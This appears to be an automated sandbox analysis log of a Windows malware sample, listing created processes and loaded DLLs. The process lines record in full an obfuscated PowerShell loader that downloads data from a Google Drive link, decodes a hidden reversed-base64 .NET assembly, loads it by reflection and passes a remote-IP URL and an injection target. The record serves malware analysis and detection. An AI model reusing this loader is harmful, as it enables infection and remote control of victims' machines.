Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6651.tmp" "c:\Users\user\AppData\Local\Temp\al22exsj\CSC903F5E3F8DB7424CB84D15F933E11EB7.TMP"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"

Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
